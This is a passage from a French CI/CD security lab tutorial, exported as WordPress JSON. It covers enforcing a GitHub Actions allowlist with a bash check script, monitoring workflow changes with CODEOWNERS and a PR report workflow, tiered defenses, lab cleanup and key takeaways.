r\u00e9f\u00e9rences immuables avec des mises \u00e0 jour automatis\u00e9es qui passent par votre processus normal de revue de PR.<\/p>\n<h2>Exercice 5 : Application d&rsquo;une liste blanche d&rsquo;actions<\/h2>\n<p>M\u00eame avec l&rsquo;\u00e9pinglage et le scanning, vous avez besoin d&rsquo;un m\u00e9canisme pour emp\u00eacher les actions non approuv\u00e9es d&rsquo;\u00eatre ajout\u00e9es aux workflows. Une liste blanche garantit que seules les actions v\u00e9rifi\u00e9es peuvent \u00eatre utilis\u00e9es.<\/p>\n<h3>Option A : GitHub Enterprise \u2014 Liste blanche au niveau de l&rsquo;organisation<\/h3>\n<p>Si vous utilisez GitHub Enterprise, vous pouvez restreindre les actions au niveau de l&rsquo;organisation :<\/p>\n<ol>\n<li>Acc\u00e9dez aux <strong>Param\u00e8tres de l&rsquo;organisation<\/strong><\/li>\n<li>Naviguez vers <strong>Actions \u2192 G\u00e9n\u00e9ral<\/strong><\/li>\n<li>Sous <strong>Politiques<\/strong>, s\u00e9lectionnez <strong>Autoriser les actions et les workflows r\u00e9utilisables s\u00e9lectionn\u00e9s<\/strong><\/li>\n<li>Ajoutez les actions approuv\u00e9es : <code>actions\/checkout@*<\/code>, <code>actions\/setup-node@*<\/code>, etc.<\/li>\n<\/ol>\n<p>C&rsquo;est l&rsquo;application la plus forte car GitHub lui-m\u00eame rejettera les ex\u00e9cutions de workflow qui utilisent des actions non autoris\u00e9es.<\/p>\n<h3>Option B : V\u00e9rification de la liste blanche bas\u00e9e sur le CI<\/h3>\n<p>Pour les organisations sans GitHub Enterprise, vous pouvez cr\u00e9er un m\u00e9canisme d&rsquo;application bas\u00e9 sur le CI.<\/p>\n<p><strong>\u00c9tape 1 : Cr\u00e9er la liste blanche.<\/strong><\/p>\n<p>Cr\u00e9ez <code>allowed-actions.txt<\/code> \u00e0 la racine de votre d\u00e9p\u00f4t :<\/p>\n<pre><code># GitHub Actions approuv\u00e9es\n# Format : owner\/repo\n# Les lignes commen\u00e7ant par # sont des commentaires\n\n# Actions officielles GitHub\nactions\/checkout\nactions\/setup-node\nactions\/cache\nactions\/upload-artifact\nactions\/download-artifact\nactions\/github-script\n\n# Scanning de s\u00e9curit\u00e9\ngithub\/codeql-action\n\n# Tiers approuv\u00e9s\ndocker\/build-push-action\ndocker\/login-action<\/code><\/pre>\n<p><strong>\u00c9tape 2 : Cr\u00e9er le script de validation.<\/strong><\/p>\n<p>Cr\u00e9ez <code>scripts\/check-actions.sh<\/code> :<\/p>\n<pre><code>#!\/bin\/bash\nset -euo pipefail\n\nALLOWLIST=\"allowed-actions.txt\"\nWORKFLOW_DIR=\".github\/workflows\"\nFAILED=0\n\nif [[ ! -f \"$ALLOWLIST\" ]]; then\n  echo \"ERROR: Allowlist file not found: $ALLOWLIST\"\n  exit 1\nfi\n\n# Extraire toutes les r\u00e9f\u00e9rences 'uses:' des fichiers de workflow\necho \"Analyse des fichiers de workflow pour les r\u00e9f\u00e9rences d'actions...\"\necho \"================================================\"\n\nfor workflow in \"$WORKFLOW_DIR\"\/*.yml \"$WORKFLOW_DIR\"\/*.yaml; do\n  [[ -f \"$workflow\" ]] || continue\n  \n  echo \"\"\n  echo \"V\u00e9rification : $workflow\"\n  \n  # Extraire les r\u00e9f\u00e9rences d'actions (owner\/repo depuis uses: owner\/repo@ref)\n  actions=$(grep -oP 'uses:\\s+\\K[^@\\s]+' \"$workflow\" | \\\n    grep '\/' | \\\n    grep -v '^\\.\\.\/\\|^docker:\/\/' | \\\n    sort -u)\n  \n  for action in $actions; do\n    if grep -qx \"$action\" \"$ALLOWLIST\"; then\n      echo \"  \u2713 $action (approuv\u00e9e)\"\n    else\n      echo \"  \u2717 $action (PAS DANS LA LISTE BLANCHE)\"\n      FAILED=1\n    fi\n  done\ndone\n\necho \"\"\necho \"================================================\"\nif [[ $FAILED -eq 1 ]]; then\n  echo \"\u00c9CHEC : Actions non approuv\u00e9es d\u00e9tect\u00e9es !\"\n  echo \"Pour approuver une nouvelle action, ajoutez-la \u00e0 $ALLOWLIST et obtenez la revue de l'\u00e9quipe s\u00e9curit\u00e9.\"\n  exit 1\nelse\n  echo \"R\u00c9USSI : Toutes les actions sont approuv\u00e9es.\"\nfi<\/code><\/pre>\n<p>Rendez le script ex\u00e9cutable :<\/p>\n<pre><code>chmod +x scripts\/check-actions.sh<\/code><\/pre>\n<p><strong>\u00c9tape 3 : Cr\u00e9er le workflow d&rsquo;application.<\/strong><\/p>\n<p>Cr\u00e9ez <code>.github\/workflows\/check-actions.yml<\/code> :<\/p>\n<pre><code>name: Action Allowlist Check\non:\n  pull_request:\n    paths:\n      - '.github\/workflows\/**'\n      - 'allowed-actions.txt'\n\npermissions:\n  contents: read\n\njobs:\n  check-actions:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4\n\n      - name: Check actions against allowlist\n        run: .\/scripts\/check-actions.sh<\/code><\/pre>\n<p><strong>\u00c9tape 4 : Tester l&rsquo;application.<\/strong><\/p>\n<p>Ajoutez une action non approuv\u00e9e \u00e0 un workflow dans une branche et ouvrez une PR :<\/p>\n<pre><code># Dans une nouvelle branche, ajoutez une action non approuv\u00e9e\ngit checkout -b test-unapproved-action\n\n# Ajoutez une action non approuv\u00e9e \u00e0 ci.yml\n# ex., uses: some-unknown\/action@v1\n\ngit add .github\/workflows\/ci.yml\ngit commit -m \"test: add unapproved action\"\ngit push origin test-unapproved-action\n# Ouvrez une PR \u2192 le job check-actions \u00e9chouera<\/code><\/pre>\n<p>La sortie affichera :<\/p>\n<pre><code>V\u00e9rification : .github\/workflows\/ci.yml\n  \u2713 actions\/checkout (approuv\u00e9e)\n  \u2713 actions\/setup-node (approuv\u00e9e)\n  \u2713 actions\/cache (approuv\u00e9e)\n  \u2717 some-unknown\/action (PAS DANS LA LISTE BLANCHE)\n\n================================================\n\u00c9CHEC : Actions non approuv\u00e9es d\u00e9tect\u00e9es !\nPour approuver une nouvelle action, ajoutez-la \u00e0 allowed-actions.txt et obtenez la revue de l'\u00e9quipe s\u00e9curit\u00e9.<\/code><\/pre>\n<p>Faites de cette v\u00e9rification un contr\u00f4le de statut requis dans vos r\u00e8gles de protection de branche pour appliquer la liste blanche sur toutes les PR.<\/p>\n<h2>Exercice 6 : Surveillance des modifications d&rsquo;actions<\/h2>\n<p>M\u00eame avec des listes blanches et l&rsquo;\u00e9pinglage, vous avez besoin de visibilit\u00e9 sur les modifications des fichiers de workflow. Cet exercice met en place des m\u00e9canismes de surveillance et d&rsquo;alerte.<\/p>\n<h3>\u00c9tape 1 : Configurer CODEOWNERS<\/h3>\n<p>Cr\u00e9ez <code>.github\/CODEOWNERS<\/code> pour exiger la revue de l&rsquo;\u00e9quipe s\u00e9curit\u00e9 pour les modifications de workflow :<\/p>\n<pre><code># Exiger la revue de l'\u00e9quipe s\u00e9curit\u00e9 pour toutes les modifications de workflow\n.github\/workflows\/ @your-org\/security-team\n.github\/actions\/    @your-org\/security-team\nallowed-actions.txt @your-org\/security-team\n.github\/dependabot.yml @your-org\/security-team<\/code><\/pre>\n<p>Activez la r\u00e8gle de protection de branche \u00ab Exiger la revue des propri\u00e9taires de code \u00bb pour appliquer cela.<\/p>\n<h3>\u00c9tape 2 : Cr\u00e9er un rapporteur de modifications de workflow<\/h3>\n<p>Cr\u00e9ez un workflow qui commente automatiquement les PR avec un r\u00e9sum\u00e9 des modifications d&rsquo;actions :<\/p>\n<pre><code>name: Workflow Change Report\non:\n  pull_request:\n    paths:\n      - '.github\/workflows\/**'\n\npermissions:\n  contents: read\n  pull-requests: write\n\njobs:\n  report:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4\n        with:\n          fetch-depth: 0\n\n      - name: Generate action change report\n        id: report\n        run: |\n          BASE=${{ github.event.pull_request.base.sha }}\n          HEAD=${{ github.event.pull_request.head.sha }}\n\n          echo \"## Rapport de modifications de workflow\" > \/tmp\/report.md\n          echo \"\" >> \/tmp\/report.md\n\n          # Trouver les fichiers de workflow modifi\u00e9s\n          CHANGED_FILES=$(git diff --name-only \"$BASE\"..\"$HEAD\" -- .github\/workflows\/)\n\n          if [[ -z \"$CHANGED_FILES\" ]]; then\n            echo \"Aucun fichier de workflow modifi\u00e9.\" >> \/tmp\/report.md\n            exit 0\n          fi\n\n          echo \"### Fichiers modifi\u00e9s\" >> \/tmp\/report.md\n          for file in $CHANGED_FILES; do\n            echo \"- \\`$file\\`\" >> \/tmp\/report.md\n          done\n          echo \"\" >> \/tmp\/report.md\n\n          # Extraire les modifications d'actions\n          echo \"### Modifications des r\u00e9f\u00e9rences d'actions\" >> \/tmp\/report.md\n          echo '```diff' >> \/tmp\/report.md\n          git diff \"$BASE\"..\"$HEAD\" -- .github\/workflows\/ | \\\n            grep -E '^[+-].*uses:' | \\\n            grep -v '^[+-]{3}' >> \/tmp\/report.md || true\n          echo '```' >> \/tmp\/report.md\n          echo \"\" >> \/tmp\/report.md\n          echo \"\u26a0\ufe0f **Revue de l'\u00e9quipe s\u00e9curit\u00e9 requise pour les modifications de workflow.**\" >> \/tmp\/report.md\n\n      - name: Comment on PR\n        uses: actions\/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7\n        with:\n          script: |\n            const fs = require('fs');\n            const report = fs.readFileSync('\/tmp\/report.md', 'utf8');\n            await github.rest.issues.createComment({\n              owner: context.repo.owner,\n              repo: context.repo.repo,\n              issue_number: context.issue.number,\n              body: report\n            });<\/code><\/pre>\n<h3>\u00c9tape 3 : Exploiter les alertes de s\u00e9curit\u00e9 Dependabot<\/h3>\n<p>Dependabot signale automatiquement les vuln\u00e9rabilit\u00e9s connues dans les GitHub Actions. Assurez-vous que cela est activ\u00e9 :<\/p>\n<ol>\n<li>Acc\u00e9dez \u00e0 <strong>Param\u00e8tres du d\u00e9p\u00f4t \u2192 S\u00e9curit\u00e9 du code et analyse<\/strong><\/li>\n<li>Activez les <strong>alertes Dependabot<\/strong><\/li>\n<li>Activez les <strong>mises \u00e0 jour de s\u00e9curit\u00e9 Dependabot<\/strong><\/li>\n<\/ol>\n<p>Lorsqu&rsquo;une action \u00e9pingl\u00e9e pr\u00e9sente une vuln\u00e9rabilit\u00e9 connue, Dependabot cr\u00e9era une PR de mise \u00e0 jour de s\u00e9curit\u00e9. Puisque vous \u00eates \u00e9pingl\u00e9 \u00e0 des SHA, le diff montre clairement les anciens et nouveaux hachages de commit, facilitant la revue de ce qui a exactement chang\u00e9.<\/p>\n<h3>\u00c9tape 4 : Surveillance du journal d&rsquo;audit (GitHub Enterprise)<\/h3>\n<p>Pour les organisations utilisant GitHub Enterprise, activez le streaming du journal d&rsquo;audit pour d\u00e9tecter les modifications de workflow :<\/p>\n<pre><code># Interroger le journal d'audit pour les modifications de fichiers de workflow\ngh api orgs\/YOUR_ORG\/audit-log \\\n  --method GET \\\n  -f phrase='action:workflows' \\\n  -f per_page=50 \\\n  --jq '.[] | {actor: .actor, action: .action, repo: .repo, created_at: .created_at}'<\/code><\/pre>\n<h2>Construire une strat\u00e9gie de d\u00e9fense<\/h2>\n<p>Toutes les organisations n&rsquo;ont pas besoin de chaque contr\u00f4le. Voici une approche par niveaux bas\u00e9e sur vos exigences de s\u00e9curit\u00e9 :<\/p>\n<h3>Niveau 1 : Minimum (Toutes les organisations)<\/h3>\n<ul>\n<li><strong>\u00c9pingler toutes les actions aux hachages SHA complets<\/strong> \u2014 emp\u00eache les attaques par mutation de tags<\/li>\n<li><strong>Activer Dependabot pour github-actions<\/strong> \u2014 automatise les mises \u00e0 jour de SHA<\/li>\n<li><strong>D\u00e9finir les permissions minimales<\/strong> \u2014 utiliser <code>permissions:<\/code> au niveau du workflow et du job<\/li>\n<\/ul>\n<p>Effort : Faible. Impact : Bloque le vecteur d&rsquo;attaque le plus courant (tags mutables).<\/p>\n<h3>Niveau 2 : Recommand\u00e9 (La plupart des organisations)<\/h3>\n<p>Tout ce qui figure dans le Niveau 1, plus :<\/p>\n<ul>\n<li><strong>Ex\u00e9cuter actionlint et zizmor dans le CI<\/strong> \u2014 d\u00e9tecte les vuln\u00e9rabilit\u00e9s d&rsquo;injection et les mauvaises configurations de s\u00e9curit\u00e9 avant leur fusion<\/li>\n<li><strong>Configurer CODEOWNERS pour les fichiers de workflow<\/strong> \u2014 garantit que l&rsquo;\u00e9quipe s\u00e9curit\u00e9 revoit toutes les modifications de workflow<\/li>\n<li><strong>Activer les r\u00e8gles de protection de branche<\/strong> \u2014 exiger les v\u00e9rifications de statut et les revues des propri\u00e9taires de code<\/li>\n<\/ul>\n<p>Effort : Moyen. Impact : D\u00e9tecte les vuln\u00e9rabilit\u00e9s pendant le d\u00e9veloppement et assure la revue.<\/p>\n<h3>Niveau 3 : Haute s\u00e9curit\u00e9 (Industries r\u00e9glement\u00e9es, cibles \u00e0 haute valeur)<\/h3>\n<p>Tout ce qui figure dans le Niveau 2, plus :<\/p>\n<ul>\n<li><strong>Appliquer une liste blanche d&rsquo;actions<\/strong> \u2014 seules les actions pr\u00e9-approuv\u00e9es peuvent \u00eatre utilis\u00e9es<\/li>\n<li><strong>Audit de s\u00e9curit\u00e9 manuel pour chaque nouvelle action<\/strong> \u2014 revue compl\u00e8te du code avant l&rsquo;ajout \u00e0 la liste blanche<\/li>\n<li><strong>Forker les actions critiques en interne<\/strong> \u2014 maintenir vos propres copies des actions essentielles pour \u00e9liminer les d\u00e9pendances externes<\/li>\n<li><strong>Rapport automatis\u00e9 des modifications de workflow<\/strong> \u2014 commentaires de PR r\u00e9sumant toutes les modifications d&rsquo;actions<\/li>\n<li><strong>Surveillance du journal d&rsquo;audit<\/strong> \u2014 alertes en temps r\u00e9el sur les modifications de workflow<\/li>\n<\/ul>\n<p>Effort : \u00c9lev\u00e9. Impact : D\u00e9fense compl\u00e8te contre les attaques de la cha\u00eene d&rsquo;approvisionnement via les Actions.<\/p>\n<h2>Nettoyage<\/h2>\n<p>Apr\u00e8s avoir termin\u00e9 le lab, nettoyez toutes les ressources de test :<\/p>\n<pre><code># Supprimer le d\u00e9p\u00f4t de test si vous en avez cr\u00e9\u00e9 un\ngh repo delete actions-security-lab --yes\n\n# Supprimer les r\u00e9pertoires d'audit clon\u00e9s\nrm -rf \/tmp\/audit-checkout \/tmp\/audit-setup-node \/tmp\/audit-cache\n\n# D\u00e9sinstaller les outils si plus n\u00e9cessaires\n# brew uninstall actionlint\n# pip uninstall zizmor<\/code><\/pre>\n<p>Si vous avez utilis\u00e9 votre propre d\u00e9p\u00f4t, annulez les workflows de test vuln\u00e9rables :<\/p>\n<pre><code>git checkout main\ngit branch -D test-unapproved-action\nrm -f .github\/workflows\/greet-pr.yml<\/code><\/pre>\n<h2>Points cl\u00e9s \u00e0 retenir<\/h2>\n<ul>\n<li><strong>Les GitHub Actions tierces constituent un risque pour la cha\u00eene d&rsquo;approvisionnement.<\/strong> Chaque directive <code>uses:<\/code> ex\u00e9cute du code externe dans votre environnement CI avec acc\u00e8s \u00e0 vos secrets et tokens.<\/li>\n<li><strong>Les tags mutables sont la cause principale de la plupart des compromissions d&rsquo;actions.<\/strong> L&rsquo;\u00e9pinglage aux hachages SHA complets \u00e9limine les attaques par mutation de tags, le vecteur d&rsquo;exploitation le plus courant.<\/li>\n<li><strong>L&rsquo;injection d&rsquo;expression est la vuln\u00e9rabilit\u00e9 de workflow la plus r\u00e9pandue.<\/strong> N&rsquo;interpolez jamais des donn\u00e9es non fiables (titres de PR, noms de branches, messages de commit) directement dans les blocs <code>run:<\/code> \u2014 utilisez toujours des variables d&rsquo;environnement.<\/li>\n<li><strong>Le scanning automatis\u00e9 avec actionlint et zizmor d\u00e9tecte ce que la revue manuelle manque.<\/strong> Utilisez les deux outils dans votre pipeline CI \u2014 actionlint pour la conformit\u00e9 et la s\u00e9curit\u00e9 de base, zizmor pour une analyse de s\u00e9curit\u00e9 approfondie.<\/li>\n<li><strong>La d\u00e9fense en profondeur est essentielle.<\/strong> Aucun contr\u00f4le unique n&rsquo;est suffisant. Combinez l&rsquo;\u00e9pinglage, le scanning, les listes blanches, CODEOWNERS et la surveillance pour une protection compl\u00e8te.<\/li>\n<li><strong>Traitez les fichiers de workflow comme du code de production.<\/strong> Ils m\u00e9ritent les m\u00eames processus de revue, de test et de gestion des changements que votre code applicatif.<\/li>\n<\/ul>\n<h2>Prochaines \u00e9tapes<\/h2>\n<p>Continuez \u00e0 d\u00e9velopper vos connaissances en s\u00e9curit\u00e9 CI\/CD avec ces guides connexes :<\/p>\n<ul>\n<li><a href=\"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/defensive-patterns-mitigations-ci-cd-pipeline-attacks\/\">Patterns d\u00e9fensifs et att\u00e9nuations pour les attaques de pipelines CI\/CD<\/a> \u2014 Apprenez des strat\u00e9gies d\u00e9fensives plus larges pour prot\u00e9ger l&rsquo;ensemble de votre pipeline CI\/CD au-del\u00e0 des seules GitHub Actions.<\/li>\n<li><a href=\"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/ci-cd-execution-models-trust-assumptions-security-guide-2\/\">Mod\u00e8les d&rsquo;ex\u00e9cution CI\/CD et hypoth\u00e8ses de confiance<\/a> \u2014 Comprenez les fronti\u00e8res de confiance et les mod\u00e8les d&rsquo;ex\u00e9cution qui sous-tendent la s\u00e9curit\u00e9 CI\/CD, et comment concevoir des pipelines avec des hypoth\u00e8ses ax\u00e9es sur la s\u00e9curit\u00e9.<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Vue d&rsquo;ensemble Les GitHub Actions tierces sont l&rsquo;une des fonctionnalit\u00e9s les plus pratiques de l&rsquo;\u00e9cosyst\u00e8me GitHub. Avec une simple directive uses:, vous pouvez int\u00e9grer une logique de build complexe, d\u00e9ployer sur des fournisseurs cloud ou ex\u00e9cuter des scanners de s\u00e9curit\u00e9. Mais cette commodit\u00e9 implique un compromis critique : chaque action tierce ex\u00e9cute du code dans &#8230; <a title=\"Lab : D\u00e9tection des GitHub Actions Malveillantes par Analyse Statique\" class=\"read-more\" href=\"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/lab-detecting-malicious-github-actions-static-analysis\/\" aria-label=\"En savoir plus sur Lab : D\u00e9tection des GitHub Actions Malveillantes par Analyse Statique\">Lire la suite<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[49,52,54],"tags":[],"post_folder":[],"class_list":["post-547","post","type-post","status-publish","format-standard","hentry","category-ci-cd-security","category-github-actions","category-threats-attacks"],"_links":{"self":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts\/547","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/comments?post=547"}],"version-history":[{"count":2,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts\/547\/revisions"}],"predecessor-version":[{"id":587,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts\/547\/revisions\/587"}],"wp:attachment":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/media?parent=547"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/categories?post=547"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/tags?post=547"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/post_folder?post=547"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}